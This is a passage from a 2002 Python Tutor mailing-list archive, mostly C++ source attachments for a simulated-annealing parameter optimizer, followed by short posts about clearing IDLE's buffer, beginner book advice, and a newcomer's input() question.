(x_now) { delete x_now; x_now = NULL; } if (x_min) { delete x_min; x_min = NULL; } if (x_max) { delete x_max; x_max = NULL; } if (text) { delete text; text = NULL; } if (sap) { delete sap; sap = NULL; } } } int variablelist::pt2xn (int n) { int i=0; struct variablelist *help = this; while (help && ix_now->copy (help->text->parameter_text)) { printf ("variablelist::pt2xn (int n):\n "); printf ("Error while copying parameter_text to x_now.\n"); return 1; } help = help->next; i++; } return 0; } int read_double (double &dv, struct variable *v) { if (v->type == 'd') { dv = v->dv; return 0; } printf ("read_double:\n"); printf (" variable contains `%c'-value instead of double (`d').\n", v->type); return 1; } int random_step (struct variable *point, struct variable *intervall) { double p, i; switch (point->type) { case 'd' : /* double value */ if (read_double(p, point)) { printf("random_step:\n Error while reading point.\n"); return 1; } if (read_double(i, intervall)) { printf("random_step:\n Error while reading intervall.\n"); return 1; } point->dv = point->dv - i + 2*i*rand()/RAND_MAX; break; case 'i' : /* integer value */ printf ("random_step:\n Stepping with integers isn't implemented yet.\n"); return 1; break; case 's' : /* string value */ printf ("random_step:\n Stepping with strings isn't implemented yet.\n"); return 1; break; default : printf ("random_step:\n Unknown type of point `%c'.\n", point->type); return 1; } return 0; } int smaller (struct variable *v1, struct variable *v2) { switch (v1->type) { case 'd' : /* double value */ double d2; if (read_double(d2, v2)) { printf("smaller:\n Error while reading v2.\n"); return -1; } return (v1 < v2); break; case 'i' : /* integer value */ printf ("smaller:\n Comparison with integers isn't implemented yet.\n"); return -1; break; case 's' : /* string value */ printf ("smaller:\n Comparison with strings isn't implemented yet.\n"); return -1; break; default : printf ("smaller:\n Unknown type of v1 `%c'.\n", v1->type); return -1; } return 0; } int greater (struct variable *v1, struct variable *v2) { switch (v1->type) { case 'd' : /* double value */ double d2; if (read_double(d2, v2)) { printf("greater:\n Error while reading v2.\n"); return -1; } return (v1 > v2); break; case 'i' : /* integer value */ printf ("greater:\n Comparison with integers isn't implemented yet.\n"); return -1; break; case 's' : /* string value */ printf ("greater:\n Comparison with strings isn't implemented yet.\n"); return -1; break; default : printf ("greater:\n Unknown type of v1 `%c'.\n", v1->type); return -1; } return 0; } --------------030800020909010209070602 Content-Type: text/plain; name="variable.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="variable.h" #ifndef VARIABLE_H #define VARIABLE_H #include "safe_string.h" struct variable { variable (); variable (char t); variable (double d, int prec = 6); variable (int i); variable (struct string &s); ~variable (); struct variable &operator = (struct variable &v); void init (char t); void init (double d, int prec = 6); void init (int i); void init (struct string &s); int copy (struct string &s); char type; double dv; int dprecision; int iv; struct string *sv; }; struct simanneal_parameter { simanneal_parameter (); ~simanneal_parameter (); /* maximum of deviation from actual x */ struct variable *dx; }; struct variablelist { variablelist (); ~variablelist (); void clean (); void clean (struct variablelist *vl); int number; int linenumber; int position; struct string preseparator; struct string pastseparator; struct string *x_opt; struct variable *x_now; struct variable *x_min; struct variable *x_max; struct filetext *text; struct variablelist *next; /* parameter for simulated annealing for one variable. */ struct simanneal_parameter *sap; /* copies parametertext's to x_now for n variables.*/ int pt2xn (int n); }; int read_double (double &dv, struct variable *v); int smaller (struct variable *v1, struct variable *v2); int greater (struct variable *v1, struct variable *v2); /* builds new point from point and intervall randomly. New point is inside intervall [point-intervall; point+intervall]. */ int random_step (struct variable *point, struct variable *intervall); void print (struct variablelist *vl); #endif --------------030800020909010209070602-- From m_konermann@gmx.de Sun Feb 3 16:33:58 2002 From: m_konermann@gmx.de (Keule) Date: Sun, 03 Feb 2002 17:33:58 +0100 Subject: [Tutor] C++ Extension Problems (Part2) Message-ID: <3C5D6676.3040100@gmx.de> This is a multi-part message in MIME format. --------------050100040109000407040706 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi ! Here are the missing 3 files , sending seperate, because of the Limitation of 40 kb/mail. Greetings Marcus --------------050100040109000407040706 Content-Type: text/plain; name="basisfile.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="basisfile.cpp" #include "basisfile.h" filetext::filetext () { tlln = 0; tfln = 0; variable_pointer = NULL; next = NULL; } filetext::~filetext () { clean (); } void filetext::clean () { clean (this); } void filetext::clean (struct filetext *ft) { if (ft) { if (ft->next) { clean (ft->next); ft->next = NULL; } variable_pointer = NULL; text.clean (); parameter_text.clean (); } } basisfile::basisfile () { filename = NULL; text = NULL; } basisfile::basisfile (struct string &fn) { filename = new struct string; filename->copy (fn); text = NULL; } basisfile::basisfile (char *fn) { init (fn); } basisfile::~basisfile () { clean (); } void basisfile::init (char *fn) { filename = new struct string; filename->copy (fn); text = NULL; } void basisfile::clean () { if (filename) { delete filename; filename = NULL; } if (text) { delete text; text = NULL; } } int basisfile::readfile () { if (!filename->size) { printf ("basisfile::readfile:\n No filename to read specified.\n"); return 1; } /* initialize text-pointer */ text = new struct filetext; /* Copy complete input file to text */ text->tfln = 1; if ((text->tlln = text->text.filereadc (*filename, '\n')) < 0) { printf ("basisfile::readfile ():\n "); strprint (*filename, "Error while reading file `", "'.\n"); return 1; } return 0; } int basisfile::writefile (string &otherfilename, char *mode) { struct filetext *help = this->text; if ( (*mode != 'a') && (*mode != 'w') ) { printf ("basisfile::writefile:\n Invalid mode %s ", mode); strprint (otherfilename, "for writing to file `", "'.\n"); return 1; } FILE *out = otherfilename.fileopen (mode); if (out) while (help != NULL) { if (help->text.size) help->text.filewrite (out); if (help->parameter_text.size) help->parameter_text.filewrite (out); help = help->next; } else { strprint (otherfilename, "basisfile::writefile:\n Unable to open file `", "'"); printf (" with mode %s.\n", mode); return 2; } while (help != NULL) { if (help->text.size) help->text.filewrite (otherfilename, "a"); if (help->parameter_text.size) help->parameter_text.filewrite (otherfilename, "a"); help = help->next; } return 0; } int basisfile::writefile (char *mode) { struct filetext *help = this->text; if ( (*mode != 'a') && (*mode != 'w') ) { printf ("basisfile::writefile:\n Invalid mode %s ", mode); strprint (*filename, "for writing to file `", "'.\n"); return 1; } FILE *out = filename->fileopen (mode); if (out) { while (help != NULL) { if (help->text.size) help->text.filewrite (out); if (help->parameter_text.size) help->parameter_text.filewrite (out); help = help->next; } fclose (out); } else { strprint (*filename, "basisfile::writefile:\n Unable to open file `", "'"); printf (" with mode %s.\n", mode); return 2; } // while (help != NULL) { // if (help->text.size) // help->text.filewrite (*filename, "a"); // if (help->parameter_text.size) // help->parameter_text.filewrite (*filename, "a"); // help = help->next; // } return 0; } int basisfile::build (struct variablelist *variable) { struct filetext *help; /* Look for specified variable */ while (variable) { help = this->text; /* search all parts of basisfile (except in parameter-text-parts) */ while (help) { /* search in text */ if (variable->linenumber <= help->tlln) { /* split text */ if ( split (&help, variable) ) { printf ("Error while splitting basisfile structure.\n"); return 1; } else /* parameter found */ help = NULL; } else { /* nothing found */ help = help->next; } } /* found parameter? */ if (!variable->text) { printf ("Couldn't find parameter number %d.\n", variable->number); printf ("Probably line number %d exceeds number of lines of file.\n", variable->linenumber); return 2; } /* look at next one */ variable = variable->next; } return 0; } int basisfile::split (struct filetext **text, struct variablelist *variable, int separators) { int line = (*text)->tfln; int linepos = 0, prepos = 0, pastpos; int original_size = (*text)->text.size; int original_tlln = (*text)->tlln; string help, dummy; int next_line_offset; struct filetext *hft = NULL; /* check text */ if (!text || !(*text)) { printf ("basisfile::split:\n Empty filetext structure. Aborting.\n"); return 100; } /* check linenumber and position */ if (variable->linenumber < 1) { printf ("basisfile::split:\n Invalid linenumber %d.\n", variable->linenumber); return 99; } if (variable->position < 0) { printf ("basisfile::split:\n Invalid position %d.\n", variable->position); return 99; } /* find right line */ while (line < variable->linenumber) { linepos += (*text)->text.string_complement_span("\n", linepos) + 1; line++; } next_line_offset = (*text)->text.string_complement_span("\n", linepos) + 1; /* if "\n" was not found, next_line_offset is position of "\0". Since this character is not meant to be copied to help, we must decrease next_line_offset by 1 in this case. */ if (next_line_offset+linepos == (*text)->text.size) help.ncopy ((*text)->text, next_line_offset-1, linepos); else help.ncopy ((*text)->text, next_line_offset, linepos); /* find beginning position of parameter-text in line */ while (separators < variable->position) { /* if not found */ if (!(help.string_string(dummy, variable->preseparator, prepos+1))) { /* Does line in question continue with next struct? */ if ( ((*text)->next) && ((*text)->next->tfln == line) ) return (split ( &((*text)->next), variable, separators)); else { printf("Problem in line no. %d:\n", line); printf(" Can not find more than %d", separators); strprint (variable->preseparator, " preseparators `", "'.\n"); printf(" Should have found %d.\n", variable->position); strprint (help, "Text of the line under consideration:\n \"", "\"\n"); return 1; } } prepos = help.size - dummy.size; separators++; } /* if no separators were meant to be found, dummy would not contain the string continuing with guessed variable-text start: dummy would be empty. */ if (!separators) dummy.copy (help); /* find ending position of parameter-text in line */ if (!variable->pastseparator.size) { printf("Problem with specification of variable no. %d:\n", variable->number); printf(" pastseparatpor is empty.\n"); return 2; } else if (!(help.string_string(dummy, variable->pastseparator, help.size-dummy.size + variable->preseparator.size - 1))) { printf("Problem in line no. %d:\n", line); printf(" Can not find"); strprint (variable->pastseparator, " pastseparator `", "' after "); printf ("%d. ", separators); strprint(variable->preseparator, "presaparator `", "'.\n"); strprint (help, "Text of the line under consideration:\n \"", "\"\n"); return 3; } pastpos = linepos + help.size - dummy.size; /* set adequat positions of beginning of parameter_text */ prepos += linepos + variable->preseparator.size - 1; /* save whole text */ dummy.copy ((*text)->text); /* copy non-parameter-text to text */ (*text)->text.ncopy (dummy, prepos); /* breaking line no. $line means, that text last line number is $line now. */ (*text)->tlln = line; /* Are we dealing with a line already splitted into text and paramter_text? Then save parameter_text and variable_pointer and take care of the variable-pointer to this old parameter_text. */ if ((*text)->parameter_text.size) { /* create new basisfile-node */ hft = new struct filetext; /* save parameter_text there. */ hft->parameter_text.copy ((*text)->parameter_text); /* save variable_pointer, too */ hft->variable_pointer = (*text)->variable_pointer; /* redirect variablelist-pointer to new location of old parameter_text. */ hft->variable_pointer->text = hft; } /* is some original text left behind new parameter_text? Save it! */ if (pastpos < original_size) { /* create new basisfile-node, if not done already */ if (!hft) hft = new struct filetext; /* save rest of the text in new node, too */ hft->text.ncopy (dummy, original_size-pastpos-1, pastpos); } /* copy parameter-text to parameter_text */ (*text)->parameter_text.ncopy (dummy, pastpos-prepos, prepos); /* link pointer of variable to according parameter_text and backlink pointer of *text to that same variable pointer. */ variable->text = (*text); (*text)->variable_pointer = variable; /* set adequat line numbers for new node and link it to the structure, if new node exists. */ if (hft) { /* text last line number is last line number of original text. */ hft->tlln = original_tlln; /* if parameter_text does not include '\n' of original line, new text first line number is just the number of the breaked line ($line). Otherwise new tfln is number of next line. */ if ((*text)->parameter_text.string_character ('\n')) hft->tfln = line+1; else hft->tfln = line; /* link new node to structure. aehm?? Take care of pointer of variable struct pointing to text->next. */ hft->next = (*text)->next; //hbf->next->variable_pointer->text = &hbf; (*text)->next = hft; } return 0; } int vl2pt (struct variablelist *vl) { while (vl) { if (vl->text) { if (vl->text->parameter_text.copy (vl->x_now)) { printf ("vl2pt:\n "); printf ("Error while copying x_now to paramter text.\n"); return 1; } } else { printf ("vl2pt:\n "); printf ("Cannot find paramter text for variable no. %d.\n", vl->number); return 2; } vl = vl->next; } return 0; } void print (struct filetext *ft) { while (ft) { printf ("tfln = %d\ttlln = %d\n", ft->tfln, ft->tlln); printf ("variablen_pointer->nummer = "); if (ft->variable_pointer) printf("%d\n", ft->variable_pointer->number); else printf("\n"); strprint (ft->text, "text:\n `", "'\n"); strprint (ft->parameter_text, "parameter_text: `", "'\n"); ft = ft->next; } } --------------050100040109000407040706 Content-Type: text/plain; name="safe_string.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="safe_string.cpp" #include "safe_string.h" #include "variable.h" #include string::string () { size = 0; str = NULL; label = NULL; } string::string ( int s, char *l ) { init ( s, l ); } string::string ( char *s, char *l ) { size = strlen ( s ) + 1; init ( size, l ); strcpy ( str, s ); } string::string ( string &s, char *l ) { str = NULL; size = 0; label = l; copy ( s ); } string::~string () { clean (); } void string::clean () { if ( str ) delete [] str; str = NULL; } void string::init ( int s, char *l ) { if ( s ) { size = s; str = new char [ s ]; } else str = NULL; if ( l ) { label = new char [ strlen ( l ) + 1 ]; strcpy ( label, l ); } else label = NULL; } string & string::operator = ( string &s ) { size = s.size; str = s.str; label = s.label; return *this; } void string::check_index ( int i ) { if ( ( i < 0 ) || ( i >= size ) ) { printf ( "string::check_index ( %d )", i ); if ( label ) printf ( " %s", label ); printf ( ": Access out of bounds.\n" ); exit (0); } } struct string & string::copy ( string &s ) { if ( this->str == s.str ) return *this; if ( str ) delete [] str; if ( !s.str ) { size = 0; str = NULL; return *this; } size = s.size; str = new char [ size ]; for ( int i=0; i < size; i++ ) (*this) (i) = s (i); return *this; } struct string & string::copy ( char *s ) { if ( this->str == s ) return *this; if ( str ) delete [] str; size = strlen ( s ) + 1; str = new char [ size ]; for ( int i=0; i < size-1; i++ ) (*this) (i) = s [i]; str[size-1] = '\0'; return *this; } int string::copy (double d, long int decimal) { /* check decimal */ if (decimal<0) { printf ("string::copy:\n Invalid value of decimal: %d\n", decimal); return 1; } decimal; /* number of digits before dot */ int digits = 0; /* number of characters for sprintf-format-string "%fdigits.decimal" */ /* 4 = '%' 'f' '.' */ int noc = 3; /* calculate number of digits needed to print d */ /* watch out for negative numbers */ if ( d < 0 ) digits += (int)log10(-d) + 2; else if ( d == 0 ) { digits = 1; noc++; } else digits += (int)log10(d) + 1; /* calculate number of characters needed to print format string */ noc += (int)log10(digits)+1 + (int)log10(decimal)+1; /* build format string */ char *formatstring = new char [noc]; sprintf (formatstring, "%%%d.%df", digits, decimal); /* build string */ str = new char [ digits + decimal + 2 ]; sprintf ( str, formatstring, d ); str[digits + decimal+1] = '\0'; delete [] formatstring; return 0; } int string::copy (int i) { /* number of digits */ int digits = 0; /* calculate number of digits needed to print d */ /* watch out for negative numbers */ if ( i < 0 ) digits += (int)log10(-(double)i) + 2; else if ( i == 0 ) digits = 1; else digits += (int)log10(double(i)) + 1; /* build string */ init ( digits + 1 ); sprintf ( str, "%d", i ); str[digits] = '\0'; return 0; } int string::copy (struct variable *v) { if (!v) { printf ("string::copy(struct variable *v):\n"); printf (" No variable given.\n"); return 1; } switch (v->type) { case 'i': /* integer */ copy (v->iv); break; case 'd': /* double */ // for (int run = 0; run < 500000; run++) { // printf ("run = %d\n", run); // fflush(NULL); copy (v->dv, v->dprecision); // } //return 1; break; case 's': /* string */ copy (*(v->sv)); break; default: /* Unknown type */ printf ("string::copy:\n Unknown type `%c' of struct variable.\n", v->type); return 1; } return 0; } void string::out (char **s) { *s = new char [size]; strcpy (*s, str); } string & string::compose ( string &first, string &second, char *inbetween ) { copy ( first ); cat ( inbetween ); cat ( second ); return *this; } string & string::compose ( string &first, char *second, char *inbetween ) { copy ( first ); cat ( inbetween ); cat ( second ); return *this; } string & string::compose ( string &first, double second, char *inbetween ) { char help[1000000]; sprintf(help, "%g", second); copy ( first ); cat ( inbetween ); cat ( help ); return *this; } string & string::compose ( string &first, int second, char *inbetween ) { char help[1000000]; sprintf(help, "%d", second); copy ( first ); cat ( inbetween ); cat ( help ); return *this; } int string::element ( int i ) { return str[i]; } int string::compare ( string &s ) { return strcmp ( this->str, s.str ); } int string::compare ( char *s ) { if ( this->str ) if ( strcmp ( this->str, s ) ) return 1; else return 0; return -1; } int string::string_span ( char *stopset, int offset ) { return (strspn (str+offset, stopset)); } int string::string_span ( string &stopset, int offset ) { return (strspn (str+offset, stopset.str)); } int string::string_complement_span ( char *stopset ) { return (strcspn (str, stopset)); } int string::string_complement_span ( char *stopset, int offset ) { return (strcspn (str+offset, stopset)); } int string::string_complement_span ( string &stopset, int offset ) { return (strcspn (str+offset, stopset.str)); } int string::string_string ( struct string &result, char *needle ) { char *help; if ((help = strstr(str, needle))) { result.copy(help); return 1; } else return 0; } int string::string_string ( struct string &result, struct string &needle ) { char *help; if ((help = strstr(str, needle.str))) { result.copy(help); return 1; } else return 0; } int string::string_string ( struct string &result, struct string &needle, int offset ) { char *help; if ((help = strstr(str+offset, needle.str))) { result.copy(help); return 1; } else return 0; } int string::string_character ( char c ) { if (strchr(str, c)) return 1; else return 0; } void string::string_pointer_break ( string &result, char *needle ) { result.copy (strpbrk (str, needle)); } struct string & string::ncopy ( string &s, int n ) { if ( str ) delete [] str; if ( n > s.size ) size = s.size; else size = n + 1; if ( size ) { str = new char [ size ]; for ( int i=0; i < size-1; i++ ) (*this) (i) = s (i); (*this) ( size-1 ) = '\0'; } return *this; } struct string & string::ncopy ( string &s, int n, int offset ) { if ( n + offset >= s.size ) { printf ( "Error in string::ncopy : "); printf ( " n=%d, offset=%d, s.size=%d\n", n, offset, s.size ); printf ( " Hint: size includes `\\0'.\n" ); exit ( 1 ); } if ( str ) delete [] str; if ( n > s.size-offset ) size = s.size-offset; else size = n + 1; if ( size ) { str = new char [ size ]; for ( int i=0; i < size-1; i++ ) (*this) (i) = s (i+offset); (*this) ( size-1 ) = '\0'; } return *this; } string & string::cat ( string &s ) { string help ( str ); size += s.size-1; if ( str ) delete [] str; str = new char [ size ]; for ( int i=0; i < size; i++ ) if ( i < help.size-1 ) (*this)(i) = help (i); else (*this)(i) = s (i-help.size+1); return *this; } string & string::cat ( char *s ) { if ( !s ) return *this; if ( !str ) { copy ( s ); return *this; } string help ( str ); size += strlen ( s ); if ( str ) delete [] str; str = new char [ size ]; for ( int i=0; i < size; i++ ) if ( i < help.size-1 ) (*this)(i) = help (i); else (*this)(i) = s [ i-help.size+1 ]; return *this; } FILE * string::fileopen ( char *s ) { return ( fopen ( str, s ) ); } int string::fileread (string &file) { FILE *in;; int number = 0; /* Count number of characters of input file */ /* open file */ if ((in = file.fileopen("r"))==NULL) { strprint (file, "Cannot open file `", "'.\n"); return 1; } /* Count */ while ( fgetc(in) != EOF ) number++; /* close file */ fclose (in); /* Copy file to string */ /* open again */ if ((in = file.fileopen("r"))==NULL) { strprint (file, "Cannot open file `", "'.\n"); printf ("Since I've been able to open it recently, something really"); printf ("strange is going on.\n"); return -1; } /* get memory */ init (number); /* copy */ for (int i=0; i #include #include "calculate.h" simanneal_varlist::simanneal_varlist () { vl = NULL; next = NULL; } simanneal_varlist::~simanneal_varlist () { clean (this); } void simanneal_varlist::clean () { clean (this); } void simanneal_varlist::clean (struct simanneal_varlist *svl) { if (svl) { if (svl->next) { clean (svl->next); svl->next = NULL; } vl->clean (); } } int simanneal_varlist::pt2xn () { struct simanneal_varlist *help = this; while (help) { if (help->vl->pt2xn (1)) { printf ("simanneal_varlist::pt2xn ():\n "); printf ("Error while copying parameter text to x_now of variable no. %d", help->vl->number); printf ("\n"); return 1; } help = help->next; } return 0; } int x_now_2_x_opt (struct simanneal_varlist *svl) { while (svl) { if (!svl->vl) { printf ("x_now_2_x_opt ():\n "); printf ("Empty variable list!.\n"); return 1; } if (!svl->vl->x_opt) { printf ("x_now_2_x_opt ():\n "); printf ("Empty x_opt in variable list!.\n"); return 1; } if (!svl->vl->x_now) { printf ("x_now_2_x_opt ():\n "); printf ("Empty x_now in variable list!.\n"); return 1; } svl->vl->x_opt->copy (svl->vl->x_now); svl = svl->next; } return 0; } simulated_annealing::simulated_annealing () { vl = NULL; svl = NULL; text = NULL; success = NULL; call = NULL; }; simulated_annealing::simulated_annealing (struct variablelist *vlist, struct basisfile *bf, struct evaluate *eval, int tm, double tf, struct string *syscall) { tc_max = tm; t_factor = tf; vl = vlist; text = bf; success = eval; call = syscall; } simulated_annealing::~simulated_annealing () { vl = NULL; svl = NULL; text = NULL; success = NULL; call = NULL; } int simulated_annealing::build_varlist () { struct simanneal_varlist *help = NULL; struct variablelist *helpvl = vl; while (helpvl) { if (helpvl->number > 0) { if (help) { help->next = new struct simanneal_varlist; help = help->next; } else { svl = new struct simanneal_varlist; help = svl; } help->vl = helpvl; } helpvl = helpvl->next; } if (!help) { printf ("simulated_annealing::build_varlist:\n"); printf (" No valid variables found.\n"); return 1; } return 0; } int simulated_annealing::optimize () { /* Value of calculation with valid vector */ struct variable f_x; f_x.init (0.0, 10); /* Value of calculation with new vector */ struct variable f_x_dx; f_x_dx.init (0.0, 10); /* temperature */ double temperature = 1; /* counter of times of temperature increasement */ int tc = 1; int take; /* initialize random number generator */ time_t init_rand; time (&init_rand); srand (init_rand); /* calculate with first vector */ if (calculate (f_x, text, call)) { printf ("simulated_annealing::optimize ():\n "); strprint (*call, "Error while trying to execute\n `", "'\n"); return 1; } while (!success->abort(f_x)) { /* build next variation of vector x */ if (vary_simvarlist ()) { printf ("simulated_annealing::optimize ():\n"); printf (" Error while building new variable vector.\n"); return 1; } /* calculate for next variation of vector */ if (calculate (f_x_dx, vl, text, call)) { strprint (*call, "Error while executing\n ", "\n"); return 1; } /* evaluate result */ if ((take = take_new_result (f_x_dx, f_x, temperature)) < 0) { printf ("simulated_annealing::optimize:\n"); printf (" Error while evaluating new result.\n"); return 1; } if (take) { /* new result is better */ f_x = f_x_dx; /* => x_now becomes new x_opt */ x_now_2_x_opt (svl); /* reset temperature counter */ tc = 1; /* testy */ printf ("%g\n", svl->vl->x_now->dv); } else { if (tc++ == tc_max) { tc = 1; temperature *= t_factor; } } } return 0; } int simulated_annealing::take_new_result (struct variable &fnew, struct variable &fold, double t) { double old; double test; switch (fnew.type) { case 'd' : /* double value */ if (read_double(old, &fold)) { printf ("simulated_annealing::take_new_result:\n"); printf (" Error while reading `fold'.\n"); return -1; } test = (double)rand()/RAND_MAX; if ( (fnew.dv < old) || (exp((old-fnew.dv)/t) > (double)rand()/RAND_MAX) ) return 1; return 0; break; case 'i' : /* integer value */ printf ("simulated_annealing::take_new_result:\n"); printf (" Comparison with integers isn't implemented yet.\n"); return -1; break; case 's' : /* string value */ printf ("simulated_annealing::take_new_result:\n"); printf (" Comparison with strings isn't implemented yet.\n"); return -1; break; default : printf ("simulated_annealing::take_new_result:\n"); printf (" Unknown type of `fnew' `%c'.\n", fnew.type); return -1; } return 0; } int simulated_annealing::vary_simvarlist () { struct simanneal_varlist *help = svl; while (help) { if (!help->vl->sap) { printf("simulated_annealing::vary_simvarlist():\n"); printf(" No simulated annealing parameters found for variable no. %d.\n", help->vl->number); return 1; } if (random_step (help->vl->x_now, help->vl->sap->dx)) { printf ("simulated_annealing::vary_simvarlist():\n"); printf (" Error while making random step of variable no. %d.\n", help->vl->number); return 1; } help = help->next; } return 0; } // double // simulated_annealing::amotsa (matrix &p, vector &y, vector &psum, int ndim, vector &pb, // double *yb, int ihi, double *yhi, double fac, double tt, // struct antenna_list *antenna, double f, double k, // int (*e_func)(complex &E,radiator_list *send, // double x, double y, double z, double f, // double beta, complex rho, // char receive_type, char polarization, // char field, int posnum)) { // int j; // double fac1, fac2, yflu, ytry; // vector ptry (ndim, "ptry"); // fac1 = (1.0-fac)/ndim; // fac2 = fac1-fac; // for (j=0; jcl->size; i++) // *(antenna->cl->c[i]) = ptry(i); // if (guete_e_position (ytry, f, k, antenna, e_func)) { // printf("calculate::amotsa ():\n "); // printf("Error while calculating target function value.\n"); // return 1; // } // if (ytry <= *yb) { // /* try is better => take try! (antenna already holds the // try-values) */ // pb = ptry; // *yb = ytry; // } // else { // /* try is worse => discard try. antenna holds the try-values: // restore the pb values to antenna! */ // for (int i=0; icl->size; i++) // *(antenna->cl->c[i]) = pb(i); // } // yflu = ytry-tt*log((double)rand()/RAND_MAX); // if (yflu < *yhi) { // y(ihi) = ytry; // *yhi = yflu; // for (j=0; j &E,radiator_list *send, // double x, double y, double z, double f, // double beta, complex rho, // char receive_type, char polarization, // char field, int posnum), // int biter, int itm, double tfe, double td) { // int itermax = itm; // double tdecrease = td; // double tfactorend = tfe; // double oldbest = -1e99; // int bigiterate_max = biter; // string filename; // // Randomgenerator initialisieren // time_t init_rand; // time (&init_rand); // srand (init_rand); // // Numerical Recipies in C, p. 452 ff. // double tt, sum; // int n,m; // /* number of variables to vary */ // int ndim = antenna->cl->size; // int mpts = ndim + 1; // int i, ilo, ihi, j; // double yhi, ylo, ynhi, yt, ytry, ysave; // double rtol, swap; // vector psum (ndim, "psum"); // vector pb (ndim, "p best ever"); // vector y (ndim+1, "y"); // double yb = 1e99; // struct matrix p (p_ini, "point simplex matrix"); // double ftol = 1e-6; // int iter; // double verybest = 1e99; // vector verybestpoint (ndim, "very best point ever found"); // for (int bigiterate = 0; bigiterate < bigiterate_max; bigiterate++){ // p = p_ini; // // print (p); // yb = 1e99; // zero (pb); // /* calculate first vector (for edges of simplex described by p) */ // for (i=0; icl->c[j]) = p(i,j); // if (guete_e_position (y(i), f, k, antenna, e_func)) { // printf("calculate::simuann ():\n "); // printf("Error while calculating target function.\n"); // return 1; // } // } // tt = -temperature; // while (-tt > tfactorend * temperature) { // // printf (" tt = %g\n", tt); // iter = itermax; // // GET_PSUM // for (n=0; n yhi) { // ihi = 0; // ilo = 1; // ynhi = yhi; // yhi = ylo; // ylo = ynhi; // } // for (i=2; i yhi) { // ynhi = yhi; // ihi = i; // yhi = yt; // } // else // if (yt > ynhi) // ynhi = yt; // } // rtol = 2*fabs(yhi-ylo)/(fabs(yhi)+fabs(ylo)); // //printf ("\nrtol = %g\t iter = %d\n", rtol, iter); // if (rtol < ftol || iter < 0) { // swap = y(0); // y(1) = y(ilo); // y(ilo) = swap; // for (n=0; n= ynhi) { // /* reflected point is worse than the second-highest, so // look for an intermediate lower point, i.e. do a // one-dimensional contraction. */ // ysave = yhi; // ytry =amotsa(p, y, psum, ndim, pb, &yb, ihi, &yhi, 0.5, tt, // antenna, f, k, e_func); // if (ytry >= ysave) { // /* The high point seems to stay. So better contract // around the lowest (i.e. best) point. */ // for (i=0; icl->c[u]) = psum(u); // if (guete_e_position (y(i), f, k, antenna, e_func)) { // printf("calculate::simuann ():\n "); // printf("Error while calculating target function.\n"); // return 1; // } // } // iter -= ndim; // // GET_PSUM // for (n=0; n yb) { // verybest = yb; // for (int q=0; qx; // y_max = antenna->y; // z_max = antenna->z; // return 0; // } --------------050100040109000407040706-- From urnerk@qwest.net Sun Feb 3 16:51:13 2002 From: urnerk@qwest.net (Kirby Urner) Date: Sun, 03 Feb 2002 08:51:13 -0800 Subject: [Tutor] Clearing interpreter buffer? Message-ID: <4.2.0.58.20020203084820.019f2100@pop3.norton.antivirus> My friend John is running a Python script with lots of print statements in some looping program. The data scrolls and scrolls, maybe all day long, and he says its filling up the history buffer -- what IDLE keeps around to scroll back through. He'd like to periodically delete this buffer or clear it, from within his program. Is there a way? Kirby From flash1210@hotmail.com Sun Feb 3 06:16:26 2002 From: flash1210@hotmail.com (Frank Holmes) Date: Sat, 02 Feb 2002 22:16:26 -0800 Subject: [Tutor] Newbie Message-ID: I started learning python about 3 months ago. I also started with sam's teach yourself in 24 hours (hint: don't be too surprised if it takes a bit longer than 24 hrs ;) ) I haven't programmed in any other languages, but have found python to be very learnable as a starter language. The list here is very supportive and patient with newbies. I would recommend that in addition to your "sam's" book you pick up Alan Gauld's "Learn to Program using Python" and O'Reilly's "Learning Python". Gauld's book is very good at explaining things at a starter level and O'Reilly's book is in my opinion very straightforeward. There are times when I will have all three books open in front of me while trying to "get" a concept but usually one of them will have an explanation that will make sense to me. If you find you are not understanding a concept the folks here at "tutor" are really helpful and patient. Good luck >From: Ciaguy@aol.com >To: tutor@python.org >Subject: [Tutor] Newbie >Date: Sat, 2 Feb 2002 12:34:46 EST > >I recently bought "SAMS Teach Yourself Python in 24 Hours." Hour #2 >suggests >I sign up for the Tutor mailing list. How to do this? > >Background: I wish to teach myself to write programs for my computer. I >have >absolutely no experience. I am probably around 10 notches below beginner >level. I am no math whiz. I am just a 60 y/o male with only a keen desire >to teach myself a programming language. Friends(?) have suggested I start >with XBasic, Liberty Basic, Visual Basic, or even C++ (Wrong!). > >Will Python be a good "idiot" user friendly language for self teachers, >such >as myself? Thanks for any advice or input. > >Sincerely, >Wolf > >_______________________________________________ >Tutor maillist - Tutor@python.org >http://mail.python.org/mailman/listinfo/tutor _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com From Rave_Dj@btopenworld.com Sun Feb 3 13:31:06 2002 From: Rave_Dj@btopenworld.com (Callum Golding) Date: Sun, 3 Feb 2002 13:31:06 -0000 Subject: [Tutor] help? Message-ID: <001b01c1acb7$09ddad80$b6aa01d5@callum> This is a multi-part message in MIME format. ------=_NextPart_000_0018_01C1ACB7.08759200 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I'm sorry to bother you, but i was wondering if you could give me a = little advice. I've recently downloaded Python 2.2. Ive read a begginers = guide to programming and tried creating a small program, I used the = input function. Now as soon as I open the program it goes into dos and = asks me the question, and when i type in an anwser, dos shuts down. Now = its really starting to bug me. If you could give me some advice I would = be real grateful. The program I wrote is below; - tempetature =3D input("What is the temperature of the spam?") if temperature > 50: print "The salad is properly cooked" else: print "Cook the salad some more"=20 Mat.G Cheers ------=_NextPart_000_0018_01C1ACB7.08759200 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I'm sorry to bother you, but i was = wondering if you=20 could give me a little advice. I've recently downloaded Python 2.2. Ive = read a=20 begginers guide to programming and tried creating a small program, I = used the=20 input function. Now as soon as I open the program it goes into dos and = asks me=20 the question, and when i type in an anwser, dos shuts down. Now its = really=20 starting to bug me. If you could give me some advice I would be real = grateful.=20 The program I wrote is below; -
 

tempetature =3D input("What is the temperature of the = spam?")
 
if temperature > 50:
    print "The salad is = properly=20 cooked"
else:
    print "Cook the salad some=20 more"
 
 
    Mat.G
 
       =20 Cheers
